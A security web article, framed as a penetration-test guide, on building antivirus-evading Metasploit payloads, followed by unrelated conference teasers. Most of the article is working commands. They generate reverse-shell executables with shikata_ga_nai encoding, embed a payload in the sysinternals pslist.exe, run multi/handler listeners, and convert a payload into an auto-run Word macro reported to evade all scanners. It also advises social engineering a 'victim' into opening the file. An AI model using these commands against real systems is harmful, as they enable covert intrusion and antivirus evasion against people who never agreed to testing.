Welcome!

Cloud Security Authors: Elizabeth White, James Carlini, Xenia von Wedel, John Walsh, Mehdi Daoudi

Related Topics: Cloud Security, Microservices Expo, Machine Learning , Apache

Cloud Security: Article

Performing a Penetration Test on a Customer’s Network

How to Hide a Malicious File from Virus Scanners

When performing a penetration test on a customer’s network by simulating an attack and trying to find a way inside many forget there is an easier way. Many networks have well established security protection through firewalls, Intrusion Detections/ Protections Systems that will alert to your presents. Performing a vulnerability scan using tools such as NeXpose, Nessus, nmap, etc will alert many systems. By performing some research on the target and learn what the company does you can narrow your attack. By using some social engineering you can email your payload to an inspecting victim at the company that will allow you to establish a foothold thereby allowing you to further exploit their network. This can be accomplished by using the Metasploit binary payloads with Shikata-ga_nai encoding scheme.

Metasploit Antivirus Bypass
When making plans to email or deliver your payload make sure it can evade detection by antivirus software. If your target gets alerted that something is not quite right then your payload will be compromised and not be delivered. Most antivirus software vendors use a signature base to identify types of malicious code. The antivirus software engine that runs on the client machine has this signature loaded and will be alerted when it finds a match such as quarantine the binary or kill the running process.

To avoid antivirus you can devise different payloads to run on systems protected by antivirus software that will not match the available signatures. To create stand-alone binaries use Metasploit msfpayload option and encode it with the msfencode option. Msfpayload allows you to generate shellcode, executables, and more for use outside the framework. To see a list of options use the msfpayload –h at the command line and to see a list of available shellcode to be customized for your specific exploit use the msfpayload -l. Msfencode allows you to help avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters. To see a list of options use the msfencode –h at the command line. To view which encoders are available run the msfencode –l command.

# msfpayload –h

Help banner “options”

 

# msfpayload –l

Shows a number of different shell code that are available.

 

# msfencode –h

Help banner “shows available options”

 

# mdsfencode –l

Available encoders

Before we encode our payload to bypass antivirus detections we need to create a stand-alone binary with msfpayload. This requires us to create a simple reverse shell that connects back to us and spawn a command shell. If our target is a windows box then we can narrow down our list of available payloads with msfpayload –l |grep windows command. This will give us a list of payloads that are specific to windows operating systems. We are going to use the windows meterpreter reverse_tcp payload, see Figure #1.

Figure #1 # msfpayload –l grep windows

Now we selected the windows/meterpreter/reverse_tcp which will connect back to the attacker, inject the meterpreter server DLL via the reflective Dll injection payload (highlight in Figure #1). By using the command-line argument “O” with the payload we selected [windows/meterpreter/reverse_tcp], we get all the available configurable options (see Figure #2).

Figure #2 using the ‘O’ command-line argument to view configurable options

We can configure the three options with this payload:

EXITFUNC

Require

Default setting: process

LHOST

Required

The listen address (you)

LPORT

Required

Default setting: 4444

 

Now we need to create the executable with the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 X /root/Desktop/evi1.exe

All that’s left is to deliver the executable to our victim, which requires some skill in itself to not be caught.

In order for us to take advantage of the victim running our executable we need to have a listener running on our attack machine. This is done with the msfcli which provides a powerful command-line interface to the framework. To view further options with the command use msfcli –h for a list. To listen for our victim running our executable use the following command within msfcli # msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 E

This will open up a listener on our machine over port 4444 and once our victim runs the executable we will have a meterpreter shell on the windows box, see Figure #3.

Figure #3 msfcli multi/handler options (above) & executing the listener (below)

Now we see how metasploit can deliver us a shell on a victim windows box, let’s try and avoid anti-virus with using the msfencode options. First lets go ahead and upload our the results from our previous example to virus total and see how many anti-virus vendors hit on our exploit (see Figure #3). There are many vendors that have hit on our exploit. Now we will use msfencode to try and get past our anti-virus vendors. This is done using raw output of msfpayload and pipe that as input to msfencode using the “shikata ga nai” encoder which translated means “nothing can be done” in Japanese, then it will output as a windows binary.

# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –e x86/shikata_ga_nai –t exe > /root/Desktop/evil.exe

This is using the msfpayload of ‘windows/shell_reverse_tcp’ and giving our ip address and port that we will be listening on and encoding with shikata_ga_nai. We can upload this executable to virus total and see how many anti-virus vendors hit on this (see Figure #4).

Figure #4 27 hits by anti-virus vendors

The results are not good and we have many hits by various anti-virus vendors, so the likelihood that our victim will not be alerted by anti-virus is slim to none. Let’s try another way. Some anti-virus vendors work on signature-based technology and our payload ‘shell_reverse_tcp’ shows up right away. We will use the msfpayload ‘windows/shell/reverse_tcp’ instead of ‘windows/shell_reverse_tcp’ and try and get by some of the AV vendors. (See Figure #4)

# msfpayload windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –t exe –x /root/Desktop/pslist.exe –o /root/Desktop/pslist2.exe –e x86/shikata_ga_nai –c 10

 

Now this time with the msfencode we took an executable from the sysinternals site called pslist.exe and encoded 10 times with ‘shikata_ga_nai’. Now our payload is combined with the sysinternal tool pslist.exe and renamed pslist2.exe. Now when we upload this to virus total we have only improved our hits from 22 vendors recording our exploit to 21, an improvement but not much better (see Figure #5).

Figure #5 From 22 vendors showing finding it to 21 vendors

 

Symantec anti-virus was not alerted on both of our previous tries, a vendor that is used to protect the DoD environment. If we were able to get through our victims various layers of security and someone from the company happened to open our executable we need to have our listener running. Now let’s run our msfcli command to listen for our incoming connection.

# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 E (See Figure #6)

Figure #6 msfcli listening for a connection from our victim

Once our victim opens our executable we have a shell on our linux box with admin privileges on their windows box. The result will look similar to Figure #9.

VBScript Infection
Now trying to get a target to run your executable is very hard as many email servers will strip out executables. There is another way to deliver our payload by including it in a word document. Word documents are very commonly moved around by email and opened by many people. This would be a great attack vector to take advantage of. Metasploit has some built in methods to infect Word documents with malicious Metasploit payloads like the ones created above. We just need to incorporate them into our Word document. For us to complete this task we need to create a VBScript payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 ENCODING=shikata_ga_nai X > evi1payload.exe

Now we need to convert this executable to a VBScript using a script found in the tools section of metasploit. Just copy our evi1payload.exe to the tools folder.

# cp /opt/framework3/msf3/evilpayload.exe /opt/framework3/msf3/tools

 

Inside the tools folder you will find a script called ‘exe2vba.rb’ and just issue the following command to convert our exe to a vbs.

# ruby exe2vba.rb evilpayload.exe evi1_payload.vbs

Now copy our evil_payload.vbs to a Windows machine that has Microsoft Word installed. Open up your evil_payload.vbs with notepad and open up a blank Microsoft Word document. In Microsoft Word go to tools, Macros, Visual Basic Editor for Microsoft Word 2003 or go to View Macros if you are using Microsoft Word 2010. Then copy the first portion of the evil_payload.vbs, from ‘Sub Auto_Open()’ to ‘End Sub’ and paste that into the Visual Basic Editor inside either Microsoft Word 2003 or 2007 (see Figure #7).

Figure #7 First portion of evi1_payload.vbs in Visual Basic Editor

Then copy the portion from ‘PAYLOAD DATA’ to the end into the body of the word document.

To verify that this word document can get past anti-virus vendor lets upload to Virus Total https://www.virustotal.com/index.html and see if it catches anything (see Figure #8).

Figure 8 Virus Total comes back with no hits.

It got completely by all anti-virus vendors. The only hard part will be getting the victim to open up the document. This can be accomplished several ways and I have written an article ‘Recon Tools’ in Admin issue #5 page 10 that goes into better detail about acquiring target information. Once you have delivered the Word document to your intended victim make sure you have the metasploit client listener up and running on your attack machine.

# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 E

(see Figure #9)

Figure #9 msfcli listener followed by the meterpreter shell

This is what the victim will see when they open the word document (see Figure #10).

Figure #10 What the victim will see once they open the Word document

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
Gemini is Yahoo’s native and search advertising platform. To ensure the quality of a complex distributed system that spans multiple products and components and across various desktop websites and mobile app and web experiences – both Yahoo owned and operated and third-party syndication (supply), with complex interaction with more than a billion users and numerous advertisers globally (demand) – it becomes imperative to automate a set of end-to-end tests 24x7 to detect bugs and regression. In th...
Widespread fragmentation is stalling the growth of the IIoT and making it difficult for partners to work together. The number of software platforms, apps, hardware and connectivity standards is creating paralysis among businesses that are afraid of being locked into a solution. EdgeX Foundry is unifying the community around a common IoT edge framework and an ecosystem of interoperable components.
"MobiDev is a software development company and we do complex, custom software development for everybody from entrepreneurs to large enterprises," explained Alan Winters, U.S. Head of Business Development at MobiDev, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
Large industrial manufacturing organizations are adopting the agile principles of cloud software companies. The industrial manufacturing development process has not scaled over time. Now that design CAD teams are geographically distributed, centralizing their work is key. With large multi-gigabyte projects, outdated tools have stifled industrial team agility, time-to-market milestones, and impacted P&L stakeholders.
"Space Monkey by Vivent Smart Home is a product that is a distributed cloud-based edge storage network. Vivent Smart Home, our parent company, is a smart home provider that places a lot of hard drives across homes in North America," explained JT Olds, Director of Engineering, and Brandon Crowfeather, Product Manager, at Vivint Smart Home, in this SYS-CON.tv interview at @ThingsExpo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
"Akvelon is a software development company and we also provide consultancy services to folks who are looking to scale or accelerate their engineering roadmaps," explained Jeremiah Mothersell, Marketing Manager at Akvelon, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
In his session at 21st Cloud Expo, Carl J. Levine, Senior Technical Evangelist for NS1, will objectively discuss how DNS is used to solve Digital Transformation challenges in large SaaS applications, CDNs, AdTech platforms, and other demanding use cases. Carl J. Levine is the Senior Technical Evangelist for NS1. A veteran of the Internet Infrastructure space, he has over a decade of experience with startups, networking protocols and Internet infrastructure, combined with the unique ability to it...
"IBM is really all in on blockchain. We take a look at sort of the history of blockchain ledger technologies. It started out with bitcoin, Ethereum, and IBM evaluated these particular blockchain technologies and found they were anonymous and permissionless and that many companies were looking for permissioned blockchain," stated René Bostic, Technical VP of the IBM Cloud Unit in North America, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Conventi...
"Cloud Academy is an enterprise training platform for the cloud, specifically public clouds. We offer guided learning experiences on AWS, Azure, Google Cloud and all the surrounding methodologies and technologies that you need to know and your teams need to know in order to leverage the full benefits of the cloud," explained Alex Brower, VP of Marketing at Cloud Academy, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clar...
Coca-Cola’s Google powered digital signage system lays the groundwork for a more valuable connection between Coke and its customers. Digital signs pair software with high-resolution displays so that a message can be changed instantly based on what the operator wants to communicate or sell. In their Day 3 Keynote at 21st Cloud Expo, Greg Chambers, Global Group Director, Digital Innovation, Coca-Cola, and Vidya Nagarajan, a Senior Product Manager at Google, discussed how from store operations and ...
"There's plenty of bandwidth out there but it's never in the right place. So what Cedexis does is uses data to work out the best pathways to get data from the origin to the person who wants to get it," explained Simon Jones, Evangelist and Head of Marketing at Cedexis, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
SYS-CON Events announced today that CrowdReviews.com has been named “Media Sponsor” of SYS-CON's 22nd International Cloud Expo, which will take place on June 5–7, 2018, at the Javits Center in New York City, NY. CrowdReviews.com is a transparent online platform for determining which products and services are the best based on the opinion of the crowd. The crowd consists of Internet users that have experienced products and services first-hand and have an interest in letting other potential buye...
SYS-CON Events announced today that Telecom Reseller has been named “Media Sponsor” of SYS-CON's 22nd International Cloud Expo, which will take place on June 5-7, 2018, at the Javits Center in New York, NY. Telecom Reseller reports on Unified Communications, UCaaS, BPaaS for enterprise and SMBs. They report extensively on both customer premises based solutions such as IP-PBX as well as cloud based and hosted platforms.
It is of utmost importance for the future success of WebRTC to ensure that interoperability is operational between web browsers and any WebRTC-compliant client. To be guaranteed as operational and effective, interoperability must be tested extensively by establishing WebRTC data and media connections between different web browsers running on different devices and operating systems. In his session at WebRTC Summit at @ThingsExpo, Dr. Alex Gouaillard, CEO and Founder of CoSMo Software, presented ...
WebRTC is great technology to build your own communication tools. It will be even more exciting experience it with advanced devices, such as a 360 Camera, 360 microphone, and a depth sensor camera. In his session at @ThingsExpo, Masashi Ganeko, a manager at INFOCOM Corporation, introduced two experimental projects from his team and what they learned from them. "Shotoku Tamago" uses the robot audition software HARK to track speakers in 360 video of a remote party. "Virtual Teleport" uses a multip...
A strange thing is happening along the way to the Internet of Things, namely far too many devices to work with and manage. It has become clear that we'll need much higher efficiency user experiences that can allow us to more easily and scalably work with the thousands of devices that will soon be in each of our lives. Enter the conversational interface revolution, combining bots we can literally talk with, gesture to, and even direct with our thoughts, with embedded artificial intelligence, whic...
SYS-CON Events announced today that Evatronix will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Evatronix SA offers comprehensive solutions in the design and implementation of electronic systems, in CAD / CAM deployment, and also is a designer and manufacturer of advanced 3D scanners for professional applications.
Leading companies, from the Global Fortune 500 to the smallest companies, are adopting hybrid cloud as the path to business advantage. Hybrid cloud depends on cloud services and on-premises infrastructure working in unison. Successful implementations require new levels of data mobility, enabled by an automated and seamless flow across on-premises and cloud resources. In his general session at 21st Cloud Expo, Greg Tevis, an IBM Storage Software Technical Strategist and Customer Solution Architec...
To get the most out of their data, successful companies are not focusing on queries and data lakes, they are actively integrating analytics into their operations with a data-first application development approach. Real-time adjustments to improve revenues, reduce costs, or mitigate risk rely on applications that minimize latency on a variety of data sources. In his session at @BigDataExpo, Jack Norris, Senior Vice President, Data and Applications at MapR Technologies, reviewed best practices to ...
An increasing number of companies are creating products that combine data with analytical capabilities. Running interactive queries on Big Data requires complex architectures to store and query data effectively, typically involving data streams, an choosing efficient file format/database and multiple independent systems that are tied together through custom-engineered pipelines. In his session at @BigDataExpo at @ThingsExpo, Tomer Levi, a senior software engineer at Intel’s Advanced Analytics gr...